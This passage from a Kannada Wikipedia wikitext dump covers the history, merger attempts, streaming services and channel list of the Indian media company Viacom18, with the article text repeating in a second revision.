ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಚಾನಲ್‌ಗಳು ಮತ್ತು ವೇದಿಕೆಗಳು == === ಪ್ರಸಾರ ವಾಹಿನಿಗಳು === ಟಿವಿ 18 ನಿಂದ ಲಭ್ಯವಿರುವ ವಿತರಣಾ ಚಾನಲ್‌ಗಳು ಈ ಕೆಳಗಿನಂತಿವೆ: <ref>{{Cite web|url=https://www.viacom18.com/onair/|title=Our Channels - On Air|website=viacom18.com}}</ref> {| class="wikitable sortable" style="text-align:middle;" ! style="width:180pt; background:White;" |ಚಾನಲ್ ! style="width:180pt; background:Violet;" |ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ ! style="width:180pt; background:White;" |ಭಾಷೆ ! style="width:300pt; background:Violet;" |ವರ್ಗ ! style="width:180pt; background:White;" |SD/HD ಲಭ್ಯತೆ ! style="width:300pt; background:Violet;" |ಟಿಪ್ಪಣಿಗಳು |- |ಕಲರ್ಸ್ ಟಿವಿ |2008 | rowspan="8" |[[ಹಿಂದಿ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |- |ಕಲರ್ಸ್ ರಿಷ್ಟೆ |2014 |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ |2016 | rowspan="3" |ಚಲನಚಿತ್ರಗಳು |SD+HD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಬಾಲಿವುಡ್ |2021 | rowspan="2" |SD | |- |ಕಲರ್ಸ್ ಸಿನೆಪ್ಲೆಕ್ಸ್ ಸೂಪರ್‌ಹಿಟ್ಸ್ |2022 | |- |ಎಂಟಿವಿ |1996 |ಯುವ ಜನ | rowspan="2" |SD+HD | |- |ಎಂಟಿವಿ ಬೀಟ್ಸ್ |2014 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 ಖೇಲ್]] |2022 |ಕ್ರೀಡೆ |SD | |- |[[Colors Infinity|ಕಲರ್ಸ್ ಇನ್ಫಿನಿಟಿ]] |2015 | rowspan="4" |[[ಆಂಗ್ಲ]] | rowspan="2" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ | rowspan="4" |SD+HD | |- |[[Comedy Central (Indian TV channel)|ಕಾಮಿಡಿ ಸೆಂಟ್ರಲ್]] |2012 | |- |[[VH1 India|ವಿ ಯೆಚ್ 1]] |2005 |ಸಂಗೀತ | |- |[[Sports18|ಸ್ಪೋರ್ಟ್ಸ್ 18 1]] |2022 |ಕ್ರೀಡೆ | |- |[[Nickelodeon (Indian TV channel)|ನಿಕೆಲೋಡಿಯನ್]] |1999 | rowspan="2" |[[ಹಿಂದಿ]]<br /> [[ತಮಿಳು]]<br /> [[ತೆಲುಗು]]<br /> [[ಮಲಯಾಳಂ]]<br />[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] [[ಮರಾಠಿ]] [[ಗುಜರಾತಿ ಭಾಷೆ|ಗುಜರಾತಿ]][[ಕನ್ನಡ]] | rowspan="4" |ಮಕ್ಕಳು | rowspan="3" |SD | |- |[[Nickelodeon Sonic|ನಿಕೆಲೋಡಿಯನ್ ಸೋನಿಕ್]] |2011 | |- |[[Nick Jr. (India)|ನಿಕ್ ಜೂನಿಯರ್]] |2012 | rowspan="2" |[[ಹಿಂದಿ]]<br /><br /><br /><br /> [[ಆಂಗ್ಲ]] | |- |ನಿಕ್ HD+ |2015 |ಎಚ್.ಡಿ | |- |ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ |2000 | rowspan="2" |[[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಸಿನಿಮಾ |2019 |ಚಲನಚಿತ್ರಗಳು | rowspan="3" |SD | |- |ಕಲರ್ಸ್ ಗುಜರಾತಿ |2002 | rowspan="2" |[[ಗುಜರಾತಿ]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |ಹಿಂದೆ ETV ಗುಜರಾತಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಗುಜರಾತಿ ಸಿನಿಮಾ |2019 |ಚಲನಚಿತ್ರಗಳು | |- |ಕಲರ್ಸ್ ಮರಾಠಿ |2000 |[[ಮರಾಠಿ]] | rowspan="4" |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD |ಹಿಂದೆ ಈಟಿವಿ ಮರಾಠಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |ಕಲರ್ಸ್ ಒಡಿಯಾ |2002 |[[ಒಡಿಯಾ]] |SD |ಹಿಂದೆ [[ವಿಯಾಕಾಂ 18|ETV ಒಡಿಯಾ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ]] |2000 | rowspan="3" |[[ಕನ್ನಡ]] |SD+HD |ಹಿಂದೆ [[ಕಲರ್ಸ್ ಕನ್ನಡ|ಈಟಿವಿ ಕನ್ನಡ]] ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು |- |[[ಕಲರ್ಸ್ ಸೂಪರ್]] |2016 | rowspan="2" |SD | |- |[[ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನೆಮಾ|ಕಲರ್ಸ್ ಕನ್ನಡ ಸಿನಿಮಾ]] |2018 |ಚಲನಚಿತ್ರಗಳು | |- |ಕಲರ್ಸ್ ತಮಿಳು |2018 |[[ತಮಿಳು]] |ಸಾಮಾನ್ಯ ಮನರಂಜನೆ |SD+HD | |} == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == <span id=".E0.B2.89.E0.B2.B2.E0.B3.8D.E0.B2.B2.E0.B3.87.E0.B2.96.E0.B2.97.E0.B2.B3.E0.B3.81"></span><span class="mw-headline" id="ಉಲ್ಲೇಖಗಳು">ಉಲ್ಲೇಖಗಳು</span> == <style data-mw-deduplicate="TemplateStyles:r1033442">.mw-parser-output .reflist{font-size:90%;margin-bottom:0.5em;list-style-type:decimal}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"></div> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] 0idchj1mv0hgvassjzj5jmdnhw45b9e 1116594 1116593 2022-08-24T08:13:37Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ ಟಿವಿ18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. {{Infobox company | name = ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್ | logo = Viacom 18.svg | type = ಜಂಟಿ ಉದ್ಯಮ | industry = [[ದೂರದರ್ಶನ]] | foundation = 2007 ನವೆಂಬರ್ | location = [[ವೈಲ್ ಪಾರ್ಲೆ]], [[ಮುಂಬೈ]], [[ಮಹಾರಾಷ್ಟ್ರ]], ಭಾರತ<ref>{{Cite web|url=http://www.viacom18.com/contact.html |title=Viacom18 Media Pvt. Ltd |publisher=Viacom18.com |access-date=27 July 2018|url-status=dead |archive-url=https://web.archive.org/web/20111023065128/http://www.viacom18.com/contact.html |archive-date=23 October 2018 }}</ref> | key_people = ಜ್ಯೋತಿ ದೇಶಪಾಂಡೆ (ಸಿ ಈ ಓ) | owners = ನೆಟ್ವರ್ಕ್18 ಗುಂಪು (51%)<br />[[ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA1]] (49%) | subsid = | homepage = {{URL|https://www.viacom18.com/|ವಿಯಾಕಾಂ 18. ಕೋಂ}} }} == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian 